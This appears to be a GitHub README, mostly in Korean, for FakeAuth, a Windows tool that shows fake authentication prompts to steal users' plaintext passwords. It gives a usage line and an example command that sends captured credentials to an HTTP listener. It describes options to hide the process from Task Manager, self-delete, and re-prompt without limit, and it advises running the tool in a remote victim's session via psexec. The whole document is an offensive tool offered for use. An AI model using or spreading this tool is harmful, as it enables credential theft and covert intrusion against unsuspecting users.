atn1ght/fakeauth사용자의 평문 비밀번호를 캡처하기 위해 가짜 인증 프롬프트를 생성합니다.
FakeAuth는 사용자 자격 증명을 요청하고 HTTP 프로토콜을 통해 이를 유출하는 도구입니다.
다음 프로젝트에서 영감을 받았습니다.
더러운 코드와 몇 가지 버그가 있을 수 있습니다 ;)
특별한 요구 사항 없음
Usage: FakeAuth.exe <hide> <mode> <type> <count> <title> <message> <listener>
Example: FakeAuth.exe 1 1 1 10 window_title enter_creds 10.0.0.0:80\n
hide (integer) -> Hide Process in Taskmgr by WinAPI-Hook (0,1 - requires FakeAuth.dll)
mode (integer) -> Self-Delete at process stop (0,1) - .dll only possible if taskmgr closed!
type (integer) -> Prompt Style (1,2)
count (long) -> How many prompts after invalid Credentials (0,1,2,..,n 0=unlimited)
title (string) -> Prompt title (visible in type=1 only)
message (string) -> Window message
listener (string) -> HTTP exfiltration listener (10.0.0.0:80), if not specified print stdout
가장 좋은 사용 방법은 원격 시스템의 사용자 세션에서 실행하는 것입니다. (psexec 또는 다른 도우미 사용)
@atn1ght1 Twitter